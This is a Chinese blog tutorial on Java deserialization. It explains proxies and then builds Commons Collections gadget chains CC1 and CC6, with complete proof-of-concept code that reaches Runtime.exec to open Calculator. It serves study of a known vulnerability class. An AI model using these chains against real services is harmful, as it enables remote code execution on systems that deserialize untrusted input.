java_web学习之路(三):CommonCollections 负无穷到烧0
about objectAnnotation
JDK1.5开始增加了Annotation功能,该功能可用于类,构造方法,成员变量,方法,参数等的声明中。该功能并不影响程序的运行,但是会对编译器警告等辅助工具产生影响。类似于可带进程序运行的注释
java在序列化一个对象时,会调用对象中的writeObject方法,传入的参数类型是ObjectOutputStream。对于开发者来说,此stream的内容可以自定义,由自己写入。在调用readObject进行反序列化时,也可以读取前面写入的内容。这就使Java开发变得灵活,比如HashMap的实现就是将所有键和值全部储存在objectAnnotation中。
对象代理
代理模式 是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象。这样可以不更改原目标对象的情况下,扩展目标对象功能,提供额外的操作。
静态代理
打个比方,电影是电影公司委托电影院放的,电影院就是代理。在放影片的前后电影院可以插播广告,达到赚钱的目的。
首先定义一个接口,通用的接口是代理模式实现的基础。这个接口我们命名为Movie,代表电影播放的能力
package com.workit.demo.proxy;
public interface Movie {
void play();
}
加下来创建一个实现接口的类,也就是一个真正的电影
package com.workit.demo.proxy;
public class YourNmae implements Movie {
@Override
public void play() {
System.out.println("普通影厅正在播放的电影是《你的名字》");
}
}
代理类:
package com.workit.demo.proxy;
public class MovieStaticProxy implements Movie {
Movie movie;
public MovieStaticProxy(Movie movie) {
this.movie = movie;
}
@Override
public void play() {
playStart();
movie.play();
playEnd();
}
public void playStart() {
System.out.println("电影开始前正在播放广告");
}
public void playEnd() {
System.out.println("电影结束了,接续播放广告");
}
}
测试类:
public class StaticProxyTest {
public static void main(String[] args) {
Movie yourname = new YourName();
Movie movieStaticProxy = new MovieStaticProxy(yourname);
movieStaticProxy.play();
}
}
结果:
电影开始前正在播放广告
正在播放的电影是《你的名字》
电影结束了,接续播放广告
现在可以看到,代理模式可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强。值得注意的是,代理类和被代理类应该共同实现一个接口,或者是共同继承某个类。这个就是是静态代理的内容,为什么叫做静态呢?因为它的类型是事先预定好的,比如上面代码中的 MovieStaticProxy
这个类。
动态代理
动态代理类的字节码在程序运行时由 Java 反射机制动态生成,无需程序员手工编写它的源代码。动态代理类不仅简化了编程工作,而且提高了软件系统的可扩展性,因为 Java 反射机制可以生成任意类型的动态代理类。java.lang.reflect
包中的 Proxy 类和InvocationHandler
接口提供了生成动态代理类的能力。
动态代理就是发生在程序运行时,动态生成代理类的字节码,并加载进来。
实现动态代理位于java.lang.reflect包下
编写代理类:
package com.proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class Agent implements InvocationHandler {
private Object sub;
public Agent(Object sub){
this.sub = sub;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("开始代理");
Object obj = method.invoke(sub,args);
return obj;
}
}
代理类需要实现 InvocationHandler 接口,同时重写 一下 invoke 方法,invoke方法中,可以加入代理的扩展功能,同时反射调用目标对象的指定方法。
package com.proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Demo {
public static void main(String[] main){
Subject realsubject = new RealSubject();
ClassLoader classLoader = realsubject.getClass().getClassLoader();
Class[] interfaces = realsubject.getClass().getInterfaces();
InvocationHandler handler = new Agent(realsubject);
Subject sub = (Subject) Proxy.newProxyInstance(classLoader,interfaces,handler);
sub.request();
}
}
动态代理的主要流程:
Subject realsubject = new RealSubject();
实现目标类的实例化ClassLoader classLoader = realsubject.getClass().getClassLoader();
这一步获取类加载器Class[] interfaces = realsubject.getClass().getInterfaces();
获取目标类的接口列表InvocationHandler handler = new Agent(realsubject);
创建InvocationHandler
实例,用来处理Proxy
所有方法调用Subject sub = (Subject) Proxy.newProxyInstance(classLoader,interfaces,handler);
使用Proxy
类的newProxyInstance
方法创建的实例化一个代理对象,分别传入类加载器,代理接口,和Handler
处理器。sub.request();
最后调用代理对象的方法。
p神的简化demo
代码如下:
package com.p;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
环境:commons-collections-3.1&&jdk8
一个在mac环境下弹计算器的demo,我们对于几个接口和类进行分析:
TransformedMap
倒入这个库用于对Java的标准数据结构Map进行修饰,被修饰的Map在添加新的元素时可执行一个回调。关于回调机制:
回调是实现异步调用的一种手段,是为了异步通信服务的
A对象 —-B.fb(A) —–> B对象 // 调用B的fb()时传入A本身(this)
A对象 <—–A.fa()—— B对象 // B就可以直接调用A,fa()就是回调方法AImpl —-B.fb(IA) —–> B对象 // IA是抽象接口,AImpl是IA的实现类
AImpl <—–IA.fa()—— B对象AImpl —-B.fb(IA) —–> B对象 // B.fb(IA)单独起一个线程执行
AImpl <—–IA.fa()—— B对象
在这段demo中:
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这里所说的”回调“,并不是传统意义上的一个回调函数,而是一个实现了Transformer接口的类。
Transformer
显然,Transformer是一个接口,存在一个transform方法,TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个”回调 函数“,这个回调的参数是原始对象。
ConstantTransformer
可以看出,ConstantTransformer是实现了上面所说的Transformer接口的类,也同时实现了Serializable接口。
这里ConstantTransformer实现了Transformer接口,也重写了transform方法。它的作用就是包装任意一个对象,然后在执行回调时使用transformer方法返回这个对象。
InvokerTransformer
这个类也是实现了Transformer接口,并且是实现rce的重要类。可以看到此类要求传入三个参数:
- String methodName:需要实现的方法名,类型是字符串
- Class[] paramTypes: 函数参数列表的参数类型,类型是数组
- Object[] args: 参数列表,类型是数组
后面也是实现了回调函数transform,此方法内容很好理解,传入的input是一个对象,下面通过反射原理,去执行input对象的iMethodName方法。过程中用到的参数就是上面构造函数所定义的参数。
ChainedTransformer
这个类的构造方法接受一个Transformer 接口类型的数组,作用是将内部的多个Transformer串在一起。
调试demo
由ChainedTransformer实例化的对象transformers中包含了两个对象,分别由ConstantTransformer和InvokerTransformer实例化。ConstantTransformer实例化对象的iConstant是Runtime.getRuntime(),InvokerTransformer实例化对象的参数则是要传入前面Runtime.getRuntime()的参数。
回调已经构造完成,我们新建一个Map结构的innerMap,使用TransformedMap进行修饰成outerMap。再通过向outerMap中放入新元素触发回调即可。
实际情况下的cc链
LazyMap
ysoserial中使用LazyMap来替代我们上面demo中的TransformedMap
LazyMap也同样来自Common-Collections,继承AbstractMapDecorator。与TransformedMap不同,LazyMap中的transform方法的触发点在其get方法中执行的factory.transform。
使用LazyMap构造利用链(CC1)
之前的demo触发漏洞的方法是我们手动往outerMap中放入一个新元素,触发回调。在实际的反序列化中,我们需要找到一个类,他的readObject方法中有类似的写入操作,就是sun.reflect.annotation.AnnotationInvocationHandler。
在8u17之前的版本中,sun.reflect.annotation.AnnotationInvocationHandler代码中存在Map.Entry<String, Object> memberValue : memberValues.entrySet()
和 memberValue.setValue(...)
,其中memberValue就是反序列化得到的Map,从而触发漏洞的下一步。
但是要使用到LazyMap替换TransformedMap,我们需要触发的transform方法存在于其get方法的factory.transform中。factory属性并没有被声明为短暂的,是可控的,且在构造函数中定义。在sun.reflect.annotation.AnnotationInvocationHandler#readObject方法中并没有使用到Map的get方法,但是此类中的invoke方法中存在get方法的调用。巧了是invoke方法,我们可以使用动态代理的方式来触发invoke方法。注意sun.reflect.annotation.AnnotationInvocationHandler类的定义:
sun.reflect.annotation.AnnotationInvocationHandler
这个类实现了InvocationHandler接口,所以我们将这个对象使用Proxy进行代理,在readObject的时候就能触发invoke方法。
sun.reflect.annotation.AnnotationInvocationHandler
这个类是JDK的内部类,不能直接实例化,我们通过反射获取其实例。我们构造一个AnnotationInvocationHandler对象,并且对其进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);
我们还不能直接对proxyMap进行序列化,因为我们的序列化入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要使用AnnotationInvocationHandler对proxyMap进行包裹
POC:
package com.p;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"open /System/Applications/Calculator.app"} ),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
完整利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
8u71之后
在java 8u71后的版本中 AnnotationInvocationHandler
不再使用反序列化得到的 Map 对象,而是新建了一个LinkedHashMap
对象,将原来的键值添加进去,所以后续的操作都是对 LinkedHashMap
,所以我们反序列化攻击没办法成功。
解决高版本利用问题实际上就是寻找哪里调用了LazyMap#get方法。TiedMapEntry中就存在:
我们接着寻找实现了TiedMapEntry#getValue的方法,在不远处就能找到:
TiedMapEntry#hashcode方法实现了getValue方法,而且我们在之前的URLDNS链子中有讲过hashcode的实现方法。在HashMap的readObject方法中,调用到了 hash(key) ,而hash方法中,调用到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成一个完整的Gadget。
CC6
package com.p;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "open /System/Applications/Calculator.app" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
最后编辑于 2022年 3月23日 星期三 20时25分21秒 CST